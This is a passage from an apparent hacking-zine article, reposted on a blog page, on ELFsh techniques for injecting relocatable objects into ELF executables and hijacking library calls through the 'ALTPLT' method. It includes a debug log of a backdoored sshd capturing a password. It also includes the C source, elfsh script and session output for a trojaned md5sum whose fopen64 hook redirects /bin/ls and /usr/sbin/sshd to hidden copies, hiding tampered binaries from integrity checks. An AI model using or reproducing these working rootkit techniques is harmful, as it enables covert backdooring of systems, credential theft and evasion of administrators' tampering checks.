$ ./sshd.new -d debug1: Seeding random number generator debug1: sshd version OpenSSH_3.0.2p1 debug1: private host key: #0 type 0 RSA1 debug1: read PEM private key done: type RSA debug1: private host key: #1 type 1 RSA debug1: read PEM private key done: type DSA debug1: private host key: #2 type 2 DSA debug1: Bind to port 22 on 0.0.0.0. Server listening on 0.0.0.0 port 22. debug1: Server will not fork when running in debugging mode. Connection from 127.0.0.1 port 40619 debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1 debug1: match: OpenSSH_3.5p1 pat ^OpenSSH Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1 debug1: Rhosts Authentication disabled, originating port 40619 not trusted debug1: list_hostkey_types: ssh-rsa,ssh-dss debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: client->server aes128-cbc hmac-md5 none debug1: kex: server->client aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent debug1: dh_gen_key: priv key bits set: 127/256 debug1: bits set: 1597/3191 debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT debug1: bits set: 1613/3191 debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent debug1: kex_derive_keys debug1: newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: waiting for SSH2_MSG_NEWKEYS debug1: newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: KEX done debug1: userauth-request for user mayhem service ssh-connection method \ none debug1: attempt 0 failures 0 Failed none for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth-request for user mayhem service ssh-connection method \ publickey debug1: attempt 1 failures 1 debug1: test whether pkalg/pkblob are acceptable debug1: temporarily_use_uid: 1000/31337 (e=0) debug1: trying public key file /home/mayhem/.ssh/authorized_keys debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1 debug1: restore_uid Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth-request for user mayhem service ssh-connection method \ keyboard-interactive debug1: attempt 2 failures 1 debug1: keyboard-interactive devs debug1: auth2_challenge: user=mayhem devs= debug1: kbdint_alloc: devices '' Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth-request for user mayhem service ssh-connection method \ password debug1: attempt 3 failures 2 .:: crypt redirected -key- = mytestpasswd (42 .::. 2) $ Fine. If you want extreme details on the implementation, please read the ELFsh code, particulary libelfsh/relinject.c. For the academic audience, the pseudo-code algorithms are provided. Because ET_REL injection is based on BSS and Symbol table fusion, section pre-interp injection, section post-bss injection, SHT shifting, SHT entry insertion, symbol injection, and section data injection, all those algorithms are also available. The BSS physical insertion is performed only once, at the first use of post-bss injection. The general algorithm for ET_REL injection is as follow: 1/ Fuse ET_REL and ET_EXEC .bss sections 2/ Find and inject ET_REL allocatable sections into ET_EXEC 3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols) 4/ Relocate each injected section if its .rel(a) table is available Now let's give some details ;) --------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.               1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)        2/ FOREACH section in ET_REL object           [      IF section is a/ allocatable (sh_flags & SHF_ALLOC)    b/ non-null sized (sh_size != 0)    c/ data-typed (sh_type == SHT_PROGBITS)      [ IF section is writable -or- OS is FreeBSD [   - Inject post-bss section into ET_EXEC ] ELSE [   - Inject pre-interp section into ET_EXEC ]      ]           ]        3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)        4/ FOREACH section in ET_REL object        [   IF a/ section has been injected in 2. (same conditions)      b/ section needs relocation (.rel.sctname is found in ET_REL)   [       - Relocate the section   ]        ] --------[ BSS fusion algorithm        - Insert ET_EXEC BSS physically if not already done (see next algo)        FOREACH symbol from the ET_REL object        [   IF symbol points into the BSS (st_shndx & SHN_COMMON)   [      WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)              [        - Increment by 1 the .bss size field (sh_size)      ]      - Insert symbol w/ st_value = .bss sh_addr + .bss sh_size      - Add symbol size to ET_EXEC .bss size (sh_size)   ]        ] ---------[ BSS physical insertion algorithm FOREACH PHT entry [ IF a/ segment is loadable (p_type == PT_LOAD)    b/ segment is writable (p_flags & PF_W) [   - Put p_memsz value into p_filesz   - End of algorithm ] ] --------[ Symbol Tables fusion algorithm        FOREACH symbol in ET_REL object        [           IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)   [      - Get parent section for this symbol using st_shndx field      IF Parent section has been injected in 2. (same conditions)      [         - Add section's base address to the symbol value - Inject new symbol into ET_EXEC      ]           ]        ] --------[ Section pre-interp injection algorithm - Compute section size congruent with page size - Create new section's header - Inject section header (see SHT header insertion algorithm) FOREACH PHT entry [    IF a/ segment type is loadable (p_type == PT_LOAD)       b/ segment is executable (p_flags & PF_X)    [       - Add section's size to p_filesz and p_memsz       - Substract section's size from p_vaddr and p_paddr    ]    ELSE IF segment type is PT_PHDR    [               - Substract section's size from p_vaddr and p_paddr    ]    ELSE    [       - Add section's size to p_offset    ]        ]        - Shift SHT (see algorithm below) ---------[ Section post-bss injection algorithm - Create new section's header - Inject section header (see SHT header insertion algorithm) FOREACH PHT entry [    IF a/ segment is loadable (p_type == PT_LOAD)       b/ segment is writable (p_flags & PF_W)    [       - Add section's size to p_memsz and p_filesz       - End of algorithm    ] ] - Shift SHT by the section size (see next algorithm) ---------[ SHT shifting algorithm FOREACH SHT entry [    IF current linked section (sh_link) points after new section    [       - Increment by 1 the sh_link field    ]    IF current file offset > injected section file offset    [       - Add injected section sh_size to current sh_offset    ] ] ---------[ SHT header insertion algorithm    - Insert new section's name into .shstrtab - Insert new entry in SHT at requested range - Increment by 1 the e_shnum field in ELF header FOREACH SHT entry [    IF current entry file offset is after SHT file offset    [       - Add e_shentsize from ELF header to current sh_offset    ] ] IF injected section header sh_offset <= SHT file offset [   - Add new section size (sh_size) to e_shoff field in ELF header ] IF requested new section range <= section string table index [    - Increment sh_strndx field in ELF header ] ---------[ Symbol injection algorithm - Insert symbol name into .strtab section - Insert symbol entry into .symtab section ---------[ Section data injection algorithm (apply to all type of section)   - Insert data into section - Add injected data size to section's sh_size IF SHT file offset > section file offset [   - Add injected data size to e_shoff in ELF header ] FOREACH SHT entry [    IF current entry sh_offset field > extended section file offset    [       IF current entry sh_addr field is non-null       [          - Add injected data size to sh_addr       ]       - Add injected data size to sh_offset    ] ] IF extended section sh_addr is non-null [    FOREACH symbol table entry    [       IF symbol points after extended section former upper bound       [ - Add injected data size to st_value field       ]    ] ]      The relocation (step 4) algorithm wont be detailed, because it is      already all explained in the ELF reference. In short, the relocation      process consists in updating all the addresses references in the      injected ET_REL code, using the available merged symbol tables in      the ET_EXEC file. There are 12 relocation types on INTEL and 56      relocations types on SPARC, however, only 2 types are mostly used on      INTEL, and only 3 on SPARC for ET_REL objects.      This last stage is a switch/case based algorithm, which has in      charge to update some bytes, many times, in each injected mapped      section. The relocation tables contains all the information necessary      for this operation, their name is .rel.<target> (or .rela.<target> on      SPARC), with <target> beeing the section which is going to be      relocated using this table). Those sections can be easily found just      parsing the SHT and looking for sections whoose st_type is SHT_REL      (or SHT_RELA on SPARC).      What makes the ELFsh relocation engine powerful, is the using of both      symbol table (.symtab and .dynsym), which means that the injected      code can resolve symbols from the executable itself, e.g. it is      possible to call the core functions of the executable, as well      as existing .plt entries from the backdoor code, if their symbol      value is available. For more details about the relocation step,      please look at the ELFsh code in libelfsh/relinject.c, particulary      at the elfsh_relocate_i386 and and elfsh_relocate_sparc.      As suggested in the previous paragraph, ELFsh has a limitation since      it is not possible to call functions not already present in the      binary. If we want to call such functions, we would have to add      information for the dynamic linker, so that the function address can      be resolved in runtime using the standard GOT/PLT mechanism. It      would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash      extensions, which is not trivial when we dont want to move the      binary data and code zones from their original addresses.      Since relocation information is not available for ET_EXEC ELF      objects, we woulnt be sure that our reconstructed relocation      information would be 100% exact, without having a very strong and      powerful dataflow analysis engine. This was proved by modremap      (modules/modremap.c) written by spacewalkr, which is a      SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder      (vm/findrel.c), this module can remap a ET_EXEC binary in another      place of the address space. This is known to work for /bin/ls and      various /bin/* but bigger binaries like ssh/sshd cannot be relocated      using this technique, because valid pointers double words are not      always real pointers in such bins (false positives happen in hash      values).      For this reason, we dont want to move ET_EXEC section's from their      original place. Instead, it is probably possible to add extra      sections and use big offsets from the absolute addresses stored      into .dynamic, but this feature is not yet provided. A careful      choice of external functions hijacking is usually enough to get rid      of the non-present symbol problem, even if this 'extra-function      resolving' feature will probably be implemented in the future. For      some sections like .hash, it may be necessary to do a copy of the      original section after .bss and change the referenced address in      the .dynamic section, so that we can extend the hash without moving      any original code or data. -------[ 4. Infection : ALTPLT technique      Now that we have a decent residency technique in ET_REL injection,      let's focus on a new better infection technique than GOT redirection      and PLT infection : the ALTPLT technique. This new technique takes      advantage of the symbol based function address resolving of the      previous technique, as detailed below.      ALTPLT is an improvement of PLT infection technique. Silvio Cesare      describes how to modify the .plt section, in order to redirect      function calls to library onto another code, so called the hook      code. From [4], the algorithm of original .plt infection:      -----%<-------%<--------%<---------%<----------%<--------%<---------      '' The algorithm at the entry point code is as follows...      * mark the text segment writable      * save the PLT(GOT) entry      * replace the PLT(GOT) entry with the address of the new libcall      The algorithm in the new library call is as follows...      * do the payload of the new libcall      * restore the original PLT(GOT) entry      * call the libcall      * save the PLT(GOT) entry again (if it is changed)      * replace the PLT(GOT) entry with the address of the new libcall ''      -----%<-------%<--------%<---------%<----------%<--------%<---------      The implementation of such an algorithm was presented in x86      assembly language using segment padding residency. This technique      is not enough because: 1/ It is architecture dependant 2/ Strict segments rights may not be kept consistant (PaX unsafe) 3/ The general layout of the technique lacks a formal interface      The new ALTPLT technique consists of copying the Procedure Linkage      Table (.plt) to an alternative section, called .orig.plt, using a      pre-interp injection, so that it resides in the read-only code      segment. For each entry of the .orig.plt, we create and inject a      new reference symbol, which name the same as the .plt entry symbol      at the same index, except that it starts by 'old_'.      Using this layout, we are able to perform standard PLT infection on      the original .plt section, but instead of having a complex      architecture dependant hook code, we use an injected function      residing in hook.o.text, which is the text section of an ET_REL      module that was injected using the technique described in the      previous part of the paper.      This way, we can still call the original function using      old_funcname(), since the injected symbol will be available for      the relocation engine, as described in the ET_REL injection      algorithm ;).      We keep the GOT/PLT mechanism intact and we rely on it to provide      a normal function address resolution, like in every dynamic      executable files. The .got section will now be unique for both .plt      and .orig.plt sections. The added section .orig.plt is a strict copy      of the original .plt, and will not ever be overwritten. In other      words, .orig.plt is PaX safe. The only difference will be that      original .plt entries may not use .got, but might be redirected on      another routine using a direct branchement instruction.      Let's look at an example where the puts() function is hijacked, and      the puts_troj() function is called instead.      On INTEL: -----BEGIN EXAMPLE 13----- old_puts + 0   jmp  *<_GLOBAL_OFFSET_TABLE_ + 20>      FF 25 00 97 04 08 old_puts + 6   push          $10                       68 10 00 00 00 old_puts + 11  jmp           <old_dlresolve>           E9 C0 FF FF FF puts + 0       jmp           <puts_troj>               E9 47 ED FF FF puts + 5       or            %ch,10(%eax)              08 68 10 puts + 8       add           %al,(%eax)                00 00 puts + 10      add           %ch,%cl                   00 E9 puts + 12      sar           $FF,%bh                   C0 FF FF puts + 15      (bad)         %edi                      FF FF -----END EXAMPLE 13-----      On SPARC: -----BEGIN EXAMPLE 14----- old_puts + 0   sethi  %hi(0xf000), %g1 03 00 00 3c     old_puts + 4   b,a   e0f4 <func2+0x1e0c> 30 bf ff f0     old_puts + 8   nop 01 00 00 00     puts + 0 jmp  %g1 + 0xf4 ! <puts_troj> 81 c0 60 f4     puts + 4 nop 01 00 00 00     puts + 8 sethi  %hi(0x12000), %g1 03 00 00 48     -----END EXAMPLE 14-----           This is the only architecture dependant operation in the ALTPLT     algorithm. It means that this feature can be implemented very easily     for other processors as well. However, on SPARC there is one more     modification to do on the first entry of the .orig.plt section.     Indeed, the SPARC architecture does not use a Global Offset Table     (.got) for function address resolving, instead the .plt section is     directly modified at dynamic linking time. Except for this     difference, the SPARC .plt works just the same as INTEL .plt (both     are using the first .plt entry each time, as explained in the ELF     reference).     For this reason, we have to modify the first .orig.plt entry to make     it point on the first .plt entry (which is patched in runtime before     the main() function takes control). In order to patch it, we need to     use a register other than %g1 (since this one is used by the dynamic     linker to identify the .plt entry which has to be patched), for     example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).     Patched first .orig.plt entry on SPARC:       -----BEGIN EXAMPLE 15----- .orig.plt sethi  %hi(0x20400), %g2 05 00 00 81 .orig.plt jmp    %g2 + 0x2a8  ! <.plt> 81 c0 a2 a8 .orig.plt nop 01 00 00 00 -----END EXAMPLE 15-----     The reason for NOP instructions after the branching instruction     (jmp) is because of SPARC delay slot. In short, SPARC branchement     is done in such way that it changes the NPC register (New Program     Counter) and not the PC register, and the instruction after a     branching one is executed before the real branchement.     Let's use a new example which combines ET_REL injection and ALTPLT     infection this time (instead of GOT redirection, like in the previous     sshd example). We will modify md5sum so that access to /bin/ls and     /usr/sbin/sshd is redirected. In that case, we need to hijack the     fopen64() function used by md5sum, swap the real path with the     backup path if necessary, and call the original fopen64 as if     nothing had happened: -----BEGIN EXAMPLE 16----- $ cat md16.esh #!/usr/bin/elfsh load /usr/bin/md5sum load test.o # Add test.o into md5sum reladd 1 2 # Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique redir fopen64 fopen64_troj save md5sum.new quit $ chmod +x md16.esh $ -----END EXAMPLE 16-----   Let's look at the injected code. Because the strcmp() libc   function is not used by md5sum and therefore its symbol is not   available in the binary, we have to copy it in the module   source: -----BEGIN EXAMPLE 17----- $ cat test.c #include <stdlib.h> #define HIDDEN_DIR      "/path/to/hidden/dir" #define LS              "/bin/ls" #define SSHD            "/usr/sbin/sshd" #define LS_BAQ          "ls.baq" #define SSHD_BAQ        "sshd.baq" int     mystrcmp(char *str1, char *str2) {    u_int cnt;    for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)      if (str1[cnt] != str2[cnt])        return (str1[cnt] - str2[cnt]);    return (str1[cnt] - str2[cnt]); } int     fopen64_troj(char *str1, char *str2) {    if (!mystrcmp(str1, LS))      str1 = HIDDEN_DIR "/" LS_BAQ;    else if (!mystrcmp(str1, SSHD))      str1 = HIDDEN_DIR "/" SSHD_BAQ;    return (old_fopen64(str1, str2)); } $ gcc test.c -c $ -----END EXAMPLE 17-----   For this last example, the full relinking information   will be printed on stdout, so that the reader can enjoy   all the details of the implementation: -----BEGIN EXAMPLE 18----- $   Welcome to The ELF shell 0.5b9 .::.   .::. This software is under the General Public License   .::. Please visit http://www.gnu.org to know about Free Software ~load /usr/bin/md5sum [*] New object /usr/bin/md5sum loaded on Sat Aug  2 16:16:32 2003 ~exec cc test.c -c [*] Command executed successfully ~load test.o [*] New object test.o loaded on Sat Aug  2 16:16:32 2003 ~reladd 1 2 [DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o] [DEBUG_RELADD] Inserted STT_SECT symbol test.o.text       [080470F4] [DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata     [080460F4] [DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt         [080450F4] [DEBUG_RELADD] Injected symbol old_dlresolve              [080450F4] [DEBUG_RELADD] Injected symbol old_ferror                 [08045104] [DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully [DEBUG_RELADD] Injected symbol old_strchr                 [08045114] [DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully [DEBUG_RELADD] Injected symbol old_feof                   [08045124] [DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully [DEBUG_RELADD] Injected symbol old___register_frame_info  [08045134] [DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully [DEBUG_RELADD] Injected symbol old___getdelim             [08045144] [DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully [DEBUG_RELADD] Injected symbol old_fprintf                [08045154] [DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully [DEBUG_RELADD] Injected symbol old_fflush                 [08045164] [DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully [DEBUG_RELADD] Injected symbol old_dcgettext              [08045174] [DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully [DEBUG_RELADD] Injected symbol old_setlocale              [08045184] [DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully [DEBUG_RELADD] Injected symbol old___errno_location       [08045194] [DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully [DEBUG_RELADD] Injected symbol old_puts                   [080451A4] [DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully [DEBUG_RELADD] Injected symbol old_malloc                 [080451B4] [DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully [DEBUG_RELADD] Injected symbol old_fread                  [080451C4] [DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully [DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4] [DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully [DEBUG_RELADD] Injected symbol old_bindtextdomain         [080451E4] [DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully [DEBUG_RELADD] Injected symbol old_fputs                  [080451F4] [DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully [DEBUG_RELADD] Injected symbol old___libc_start_main      [08045204] [DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully [DEBUG_RELADD] Injected symbol old_realloc                [08045214] [DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully [DEBUG_RELADD] Injected symbol old_textdomain             [08045224] [DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully [DEBUG_RELADD] Injected symbol old_printf                 [08045234] [DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully [DEBUG_RELADD] Injected symbol old_memcpy                 [08045244] [DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully [DEBUG_RELADD] Injected symbol old_fclose                 [08045254] [DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully [DEBUG_RELADD] Injected symbol old_getopt_long            [08045264] [DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully [DEBUG_RELADD] Injected symbol old_fopen64                [08045274] [DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully [DEBUG_RELADD] Injected symbol old_exit                   [08045284] [DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully [DEBUG_RELADD] Injected symbol old_calloc                 [08045294] [DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully [DEBUG_RELADD] Injected symbol old__IO_putc               [080452A4] [DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully [DEBUG_RELADD] Injected symbol old_free                   [080452B4] [DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully [DEBUG_RELADD] Injected symbol old_error                  [080452C4] [DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully [DEBUG_RELADD] Entering intermediate symbol injection loop [DEBUG_RELADD] Injected ET_REL symbol mystrcmp            [080470F4] [DEBUG_RELADD] Injected symbol mystrcmp                   [080470F4] [DEBUG_RELADD] Injected ET_REL symbol fopen64_troj        [08047188] [DEBUG_RELADD] Injected symbol fopen64_troj               [08047188] [DEBUG_RELADD] Entering final relocation loop [DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460F4] [DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4] [DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460FC] [DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046117] [DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4] [DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046126] [DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274] [*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum ~redir fopen64 fopen64_troj [*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj> ~save md5sum.new [*] Object md5sum.new save successfully ~quit [*] Unloading object 1 (test.o) [*] Unloading object 2 (/usr/bin/md5sum) *          Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 18-----     As shown in the script output, the new file has got new   symbols (the old symbols). Let's observe them using the   elfsh '-sym' command and the regex capability ('old') : -----BEGIN EXAMPLE 19----- $ elfsh -q -f md5sum.new -sym old [SYMBOL TABLE] [Object md5sum.new] [27] 0x80450f4  FUNC old_dlresolve                sz:16 scop:Local [28] 0x8045104  FUNC old_ferror                   sz:16 scop:Local [29] 0x8045114  FUNC old_strchr                   sz:16 scop:Local [30] 0x8045124  FUNC old_feof                     sz:16 scop:Local [31] 0x8045134  FUNC old___register_frame_info    sz:16 scop:Local [32] 0x8045144  FUNC old___getdelim               sz:16 scop:Local [33] 0x8045154  FUNC old_fprintf                  sz:16 scop:Local [34] 0x8045164  FUNC old_fflush                   sz:16 scop:Local [35] 0x8045174  FUNC old_dcgettext                sz:16 scop:Local [36] 0x8045184  FUNC old_setlocale                sz:16 scop:Local [37] 0x8045194  FUNC old___errno_location         sz:16 scop:Local [38] 0x80451a4  FUNC old_puts                     sz:16 scop:Local [39] 0x80451b4  FUNC old_malloc                   sz:16 scop:Local [40] 0x80451c4  FUNC old_fread                    sz:16 scop:Local [41] 0x80451d4  FUNC old___deregister_frame_info  sz:16 scop:Local [42] 0x80451e4  FUNC old_bindtextdomain           sz:16 scop:Local [43] 0x80451f4  FUNC old_fputs                    sz:16 scop:Local [44] 0x8045204  FUNC old___libc_start_main        sz:16 scop:Local [45] 0x8045214  FUNC old_realloc                  sz:16 scop:Local [46] 0x8045224  FUNC old_textdomain               sz:16 scop:Local [47] 0x8045234  FUNC old_printf                   sz:16 scop:Local [48] 0x8045244  FUNC old_memcpy                   sz:16 scop:Local [49] 0x8045254  FUNC old_fclose                   sz:16 scop:Local [50] 0x8045264  FUNC old_getopt_long              sz:16 scop:Local [51] 0x8045274  FUNC old_fopen64                  sz:16 scop:Local [52] 0x8045284  FUNC old_exit                     sz:16 scop:Local [53] 0x8045294  FUNC old_calloc                   sz:16 scop:Local [54] 0x80452a4  FUNC old__IO_putc                 sz:16 scop:Local [55] 0x80452b4  FUNC old_free                     sz:16 scop:Local [56] 0x80452c4  FUNC old_error                    sz:16 scop:Local $ -----END EXAMPLE 19-----   It sounds good ! Does it work now?    $ md5sum /bin/bash    ebe1f822a4d026c366c8b6294d828c87  /bin/bash    $ ./md5sum.new /bin/bash    ebe1f822a4d026c366c8b6294d828c87  /bin/bash    $ md5sum /bin/ls    3b622e661f6f5c79376c73223ebd7f4d  /bin/ls    $ ./md5sum.new /bin/ls    ./md5sum.new: /bin/ls: No such file or directory    $ md5sum /usr/sbin/sshd    720784b7c1e5f3418710c7c5ebb0286c  /usr/sbin/sshd    $ ./md5sum.new /usr/sbin/sshd    ./md5sum.new: /usr/sbin/sshd: No such file or directory    $ ./md5sum.new ./md5sum.new      b52b87802b7571c1ebbb10657cedb1f6  ./md5sum.new    $ ./md5sum.new /usr/bin/md5sum    8beca981a42308c680e9669166068176  /usr/bin/md5sum    $    Heheh. It work so well that even if you forget to put the original    copy in your hidden directory, md5sum prints the original path and    not your hidden directory path ;). This is because we only change a    local pointer in the fopen64_troj() function, and the caller function    is not aware of the modification, so the caller error message is    proceeded with the original path.    Let's give the detailed algorithm for the ALTPLT technique. It must    be used as a '2 bis' step in the main ET_REL injection algorithm    given in the previous chapter, so that injected code can use any    old_* symbols:         - Create new section header with same size, type, rights as .plt     - Insert new section header     IF current OS == FreeBSD     [        - Inject section using post-bss technique.     ]     ELSE     [        - Inject section using pre-interp technique.     ]     FOREACH .plt entry (while counter < sh_size)     [       IF counter == 0 AND current architecture is SPARC       [         - Infect current entry using %g2 register.       ]       - Inject new 'old_<name>' symbol pointing on current entry         (= sh_addr + cnt)       - Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt     ]     This algorithm is executed once and only once per ET_EXEC file. The     'redir' command actually performs the PLT infection on demand. A     future (better) version of this command would allow core binary     function hijacking. Since the code segment is read-only in userland,     we cant modify the first bytes of the function at runtime and perform     some awful bytes restoration [13] [14] for calling back the original     function. The best solution is probably to build full control flow     graphs for the target architecture, and redirect all calls to a given     block (e.g. the first block of the hijacked function), making all     these calls point to the hook function, as suggested in [15] . ELFsh     provides INTEL control flow graphs (see modflow/modgraph), so does     objobf [16], but the feature is not yet available for other     architectures, and some specific indirect branchement instructions     are not easily predictable [17] using static analysis only, so it     remains in the TODO. -------[ 5. The end ?     This is the end, beautiful friend. This is the end, my only friend,     the end... Of course, there is a lot of place for improvements and new     features in this area. More target architectures are planed (pa-risc,     alpha, ppc?), as well as more ELF objects support (version tables,     ELF64) and extension for the script langage with simple data and     control flow support. The ELF development is made easy using the     libelfsh API and the script engine. Users are invited to improve the     framework and all comments are really welcomed. -------[ 6. Greets     Greets go to #!dh and #dnerds peoples, you know who you are. Special     thanks to duncan @ mygale and zorgon for beeing cool-asses and giving     precious feedback.     Other thanks, in random order : Silvio Cesare for his great work on     the first generation ELF techniques (I definitely learnt a lot from     you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)     who greatly helped to provide reliable and portable software, pipash for     finding all the 76 char lenght lines of the article (your feedback     r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful     sparc/linux account, and Shaun Clowes for giving good hints.     Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the     peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great     time I had with them during those days, you guyz rock. -------[ 7. References   [1] The ELF shell project The ELF shell crew   MAIN   : elfsh.devhell.org   MIRROR : elfsh.segfault.net   [2] PaX project The PaX team   pageexec.virtualave.net   [3] ELF TIS reference             x86.ddj.com/ftp/manuals/tools/elf.pdf   www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)   [4] UNIX ELF parasites and virus silvio   www.u-e-b-i.com/silvio/elf-pv.txt   [5] Shared library redirection by ELF PLT infection silvio   phrack.org/phrack/56/p56-0x07   [6] Understanding ELF rtld internals mayhem   devhell.org/~mayhem/papers/elf-rtld.txt   [7] More ELF buggery (bugtraq post) thegrugq   www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0   [8] Runtime process infection anonymous   phrack.org/phrack/59/p59-0x08.txt   [9] Subversive ELF dynamic linking thegrugq   downloads.securityfocus.com/library/subversiveld.pdf   [10] Static kernel patching jbtzhm   phrack.org/phrack/60/p60-0x08.txt   [11] Run-time kernel patching silvio   www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt   [12] Bypassing stackguard and stackshield bulba/kil3r   phrack.org/phrack/56/p56-0x05   [13] Kernel function hijacking silvio   www.u-e-b-i.com/silvio/kernel-hijack.txt   [14] IA32 advanced function hooking mayhem   phrack.org/phrack/58/p58-0x08   [15] Unbodyguard (solaris kernel function hijacking) noir   gsu.linux.org.tr/~noir/b.tar.gz   [16] The object code obfuscator tool of burneye2 scut   segfault.net/~scut/objobf/   [17] Secure Execution Via Program Shepherding Vladimir Kiriansky   www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf Derek Bruening Saman Amarasinghe |=[ EOF ]=---------------------------------------------------------------=|  

人气BLOG

Peter的个人博客
C++/Java/Assembly
天国之翼
LINUX C HACKING FOR A DREAM
David's Blog
I am David Chan
学习空间

							
凤凰测试

							
冰凝制作室
和大家一起学习、进步。
javaei
java essential index
一啸长天
为了技术而生活!
-----------
人生是一场戏,但真诚是永远!
shine_shao
我思故我在。
东方无敌's blog
编程王网主的个人博客
私隐权政策 |  服务条款 |  免责条款 |  服务中心 | 
© 2008 King Of Coders Limited.版权所有不得转载